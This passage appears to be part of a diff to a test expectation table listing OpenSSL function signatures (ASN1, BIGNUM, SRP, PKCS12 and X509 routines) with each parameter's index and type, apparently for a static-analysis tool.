*,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 1 | const X509_ALGOR * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 2 | const ASN1_BIT_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 3 | const void * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 4 | EVP_MD_CTX * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 1 | const X509_ALGOR * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 2 | const ASN1_BIT_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 3 | const void * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 4 | EVP_PKEY * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 1 | const X509_ALGOR * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 2 | const ASN1_BIT_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 3 | const void * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 4 | const ASN1_OCTET_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 5 | EVP_PKEY * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 6 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 7 | const char * | +| (const ASN1_ITEM *,const void *) | | ASN1_item_dup | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const void *) | | ASN1_item_dup | 1 | const void * | +| (const ASN1_ITEM *,void *,ASN1_TYPE **) | | ASN1_TYPE_pack_sequence | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,void *,ASN1_TYPE **) | | ASN1_TYPE_pack_sequence | 1 | void * | +| (const ASN1_ITEM *,void *,ASN1_TYPE **) | | ASN1_TYPE_pack_sequence | 2 | ASN1_TYPE ** | +| (const ASN1_NULL *,unsigned char **) | | i2d_ASN1_NULL | 0 | const ASN1_NULL * | +| (const ASN1_NULL *,unsigned char **) | | i2d_ASN1_NULL | 1 | unsigned char ** | +| (const ASN1_OBJECT *) | | OBJ_add_object | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_dup | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_get0_data | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_length | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_obj2nid | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 0 | const ASN1_OBJECT ** | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 1 | const unsigned char ** | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 2 | int * | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 3 | const X509_ALGOR ** | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 4 | const PKCS8_PRIV_KEY_INFO * | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 0 | const ASN1_OBJECT ** | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 1 | int * | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 2 | const void ** | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 3 | const X509_ALGOR * | +| (const ASN1_OBJECT *,const ASN1_OBJECT *) | | OBJ_cmp | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *,const ASN1_OBJECT *) | | OBJ_cmp | 1 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *,unsigned char **) | | i2d_ASN1_OBJECT | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *,unsigned char **) | | i2d_ASN1_OBJECT | 1 | unsigned char ** | +| (const ASN1_OCTET_STRING *) | | ASN1_OCTET_STRING_dup | 0 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 0 | const ASN1_OCTET_STRING ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 1 | const X509_ALGOR ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 2 | const ASN1_OCTET_STRING ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 3 | const ASN1_INTEGER ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 4 | const PKCS12 * | +| (const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *) | | ASN1_OCTET_STRING_cmp | 0 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *) | | ASN1_OCTET_STRING_cmp | 1 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING *,unsigned char **) | | i2d_ASN1_OCTET_STRING | 0 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING *,unsigned char **) | | i2d_ASN1_OCTET_STRING | 1 | unsigned char ** | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_cert_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_nm_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_oid_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_str_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PRINTABLESTRING *,unsigned char **) | | i2d_ASN1_PRINTABLESTRING | 0 | const ASN1_PRINTABLESTRING * | +| (const ASN1_PRINTABLESTRING *,unsigned char **) | | i2d_ASN1_PRINTABLESTRING | 1 | unsigned char ** | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SEQUENCE_ANY | 0 | const ASN1_SEQUENCE_ANY * | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SEQUENCE_ANY | 1 | unsigned char ** | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SET_ANY | 0 | const ASN1_SEQUENCE_ANY * | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SET_ANY | 1 | unsigned char ** | +| (const ASN1_STRING *) | | ASN1_STRING_dup | 0 | const ASN1_STRING * | +| (const ASN1_STRING *) | | ASN1_STRING_get0_data | 0 | const ASN1_STRING * | +| (const ASN1_STRING *) | | ASN1_STRING_length | 0 | const ASN1_STRING * | +| (const ASN1_STRING *) | | ASN1_STRING_type | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_ITEM *) | | ASN1_item_unpack | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_ITEM *) | | ASN1_item_unpack | 1 | const ASN1_ITEM * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 1 | const ASN1_ITEM * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 2 | OSSL_LIB_CTX * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 3 | const char * | +| (const ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_cmp | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_cmp | 1 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_ASN1_PRINTABLE | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_ASN1_PRINTABLE | 1 | unsigned char ** | +| (const ASN1_STRING *,unsigned char **) | | i2d_DIRECTORYSTRING | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_DIRECTORYSTRING | 1 | unsigned char ** | +| (const ASN1_STRING *,unsigned char **) | | i2d_DISPLAYTEXT | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_DISPLAYTEXT | 1 | unsigned char ** | +| (const ASN1_T61STRING *,unsigned char **) | | i2d_ASN1_T61STRING | 0 | const ASN1_T61STRING * | +| (const ASN1_T61STRING *,unsigned char **) | | i2d_ASN1_T61STRING | 1 | unsigned char ** | +| (const ASN1_TIME *) | | ASN1_TIME_dup | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,ASN1_GENERALIZEDTIME **) | | ASN1_TIME_to_generalizedtime | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,ASN1_GENERALIZEDTIME **) | | ASN1_TIME_to_generalizedtime | 1 | ASN1_GENERALIZEDTIME ** | +| (const ASN1_TIME *,time_t *) | | X509_cmp_time | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,time_t *) | | X509_cmp_time | 1 | time_t * | +| (const ASN1_TIME *,tm *) | | ASN1_TIME_to_tm | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,tm *) | | ASN1_TIME_to_tm | 1 | tm * | +| (const ASN1_TIME *,unsigned char **) | | i2d_ASN1_TIME | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,unsigned char **) | | i2d_ASN1_TIME | 1 | unsigned char ** | +| (const ASN1_TYPE *) | | ASN1_TYPE_get | 0 | const ASN1_TYPE * | +| (const ASN1_TYPE *,const ASN1_TYPE *) | | ASN1_TYPE_cmp | 0 | const ASN1_TYPE * | +| (const ASN1_TYPE *,const ASN1_TYPE *) | | ASN1_TYPE_cmp | 1 | const ASN1_TYPE * | +| (const ASN1_TYPE *,unsigned char **) | | i2d_ASN1_TYPE | 0 | const ASN1_TYPE * | +| (const ASN1_TYPE *,unsigned char **) | | i2d_ASN1_TYPE | 1 | unsigned char ** | +| (const ASN1_UNIVERSALSTRING *,unsigned char **) | | i2d_ASN1_UNIVERSALSTRING | 0 | const ASN1_UNIVERSALSTRING * | +| (const ASN1_UNIVERSALSTRING *,unsigned char **) | | i2d_ASN1_UNIVERSALSTRING | 1 | unsigned char ** | +| (const ASN1_UTCTIME *) | | ASN1_UTCTIME_dup | 0 | const ASN1_UTCTIME * | +| (const ASN1_UTCTIME *,unsigned char **) | | i2d_ASN1_UTCTIME | 0 | const ASN1_UTCTIME * | +| (const ASN1_UTCTIME *,unsigned char **) | | i2d_ASN1_UTCTIME | 1 | unsigned char ** | +| (const ASN1_UTF8STRING *,unsigned char **) | | i2d_ASN1_UTF8STRING | 0 | const ASN1_UTF8STRING * | +| (const ASN1_UTF8STRING *,unsigned char **) | | i2d_ASN1_UTF8STRING | 1 | unsigned char ** | +| (const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector_const | 0 | const ASN1_VALUE ** | +| (const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector_const | 1 | const ASN1_ITEM * | +| (const ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_const_field_ptr | 0 | const ASN1_VALUE ** | +| (const ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_const_field_ptr | 1 | const ASN1_TEMPLATE * | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 0 | const ASN1_VALUE ** | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 1 | unsigned char ** | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 2 | const ASN1_ITEM * | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 3 | int | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 4 | int | +| (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 0 | const ASN1_VALUE * | +| (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 1 | const ASN1_TEMPLATE * | +| (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | int | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_i2d | 0 | const ASN1_VALUE * | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_i2d | 1 | unsigned char ** | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_i2d | 2 | const ASN1_ITEM * | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_ndef_i2d | 0 | const ASN1_VALUE * | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_ndef_i2d | 1 | unsigned char ** | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_ndef_i2d | 2 | const ASN1_ITEM * | +| (const ASN1_VISIBLESTRING *,unsigned char **) | | i2d_ASN1_VISIBLESTRING | 0 | const ASN1_VISIBLESTRING * | +| (const ASN1_VISIBLESTRING *,unsigned char **) | | i2d_ASN1_VISIBLESTRING | 1 | unsigned char ** | +| (const ASRange *,unsigned char **) | | i2d_ASRange | 0 | const ASRange * | +| (const ASRange *,unsigned char **) | | i2d_ASRange | 1 | unsigned char ** | +| (const AUTHORITY_INFO_ACCESS *,unsigned char **) | | i2d_AUTHORITY_INFO_ACCESS | 0 | const AUTHORITY_INFO_ACCESS * | +| (const AUTHORITY_INFO_ACCESS *,unsigned char **) | | i2d_AUTHORITY_INFO_ACCESS | 1 | unsigned char ** | +| (const AUTHORITY_KEYID *,unsigned char **) | | i2d_AUTHORITY_KEYID | 0 | const AUTHORITY_KEYID * | +| (const AUTHORITY_KEYID *,unsigned char **) | | i2d_AUTHORITY_KEYID | 1 | unsigned char ** | +| (const BASIC_CONSTRAINTS *,unsigned char **) | | i2d_BASIC_CONSTRAINTS | 0 | const BASIC_CONSTRAINTS * | +| (const BASIC_CONSTRAINTS *,unsigned char **) | | i2d_BASIC_CONSTRAINTS | 1 | unsigned char ** | +| (const BIGNUM *) | | BN_dup | 0 | const BIGNUM * | +| (const BIGNUM *) | | BN_get_word | 0 | const BIGNUM * | +| (const BIGNUM *) | | BN_is_negative | 0 | const BIGNUM * | +| (const BIGNUM *) | | BN_num_bits | 0 | const BIGNUM * | +| (const BIGNUM *) | | bn_get_dmax | 0 | const BIGNUM * | +| (const BIGNUM *) | | bn_get_top | 0 | const BIGNUM * | +| (const BIGNUM *) | | bn_get_words | 0 | const BIGNUM * | +| (const BIGNUM *,ASN1_ENUMERATED *) | | BN_to_ASN1_ENUMERATED | 0 | const BIGNUM * | +| (const BIGNUM *,ASN1_ENUMERATED *) | | BN_to_ASN1_ENUMERATED | 1 | ASN1_ENUMERATED * | +| (const BIGNUM *,ASN1_INTEGER *) | | BN_to_ASN1_INTEGER | 0 | const BIGNUM * | +| (const BIGNUM *,ASN1_INTEGER *) | | BN_to_ASN1_INTEGER | 1 | ASN1_INTEGER * | +| (const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_check_prime | 0 | const BIGNUM * | +| (const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_check_prime | 1 | BN_CTX * | +| (const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_check_prime | 2 | BN_GENCB * | +| (const BIGNUM *,const BIGNUM *) | | BN_ucmp | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | BN_ucmp | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_A_mod_N | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_A_mod_N | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_B_mod_N | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_B_mod_N | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BIGNUM *) | | BN_BLINDING_new | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BIGNUM *) | | BN_BLINDING_new | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BIGNUM *) | | BN_BLINDING_new | 2 | BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_kronecker | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_kronecker | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_kronecker | 2 | BN_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_A | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_A | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_A | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_u | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_u | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_u | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 3 | BN_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 3 | BN_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 3 | OSSL_LIB_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 4 | const char * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 4 | OSSL_LIB_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 5 | const char * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_server_key | 4 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 4 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_client_key | 5 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 4 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 5 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 6 | OSSL_LIB_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_client_key_ex | 7 | const char * | +| (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 2 | int * | +| (const BIGNUM *,int) | | BN_get_flags | 0 | const BIGNUM * | +| (const BIGNUM *,int) | | BN_get_flags | 1 | int | +| (const BIGNUM *,int) | | BN_is_bit_set | 0 | const BIGNUM * | +| (const BIGNUM *,int) | | BN_is_bit_set | 1 | int | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 1 | int | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 2 | ..(*)(..) | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 3 | BN_CTX * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 4 | void * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 0 | const BIGNUM * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 1 | int | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 2 | ..(*)(..) | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 3 | BN_CTX * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 4 | void * | +| (const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int) | | BN_is_prime_fasttest | 5 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 1 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | BN_is_prime_ex | 3 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 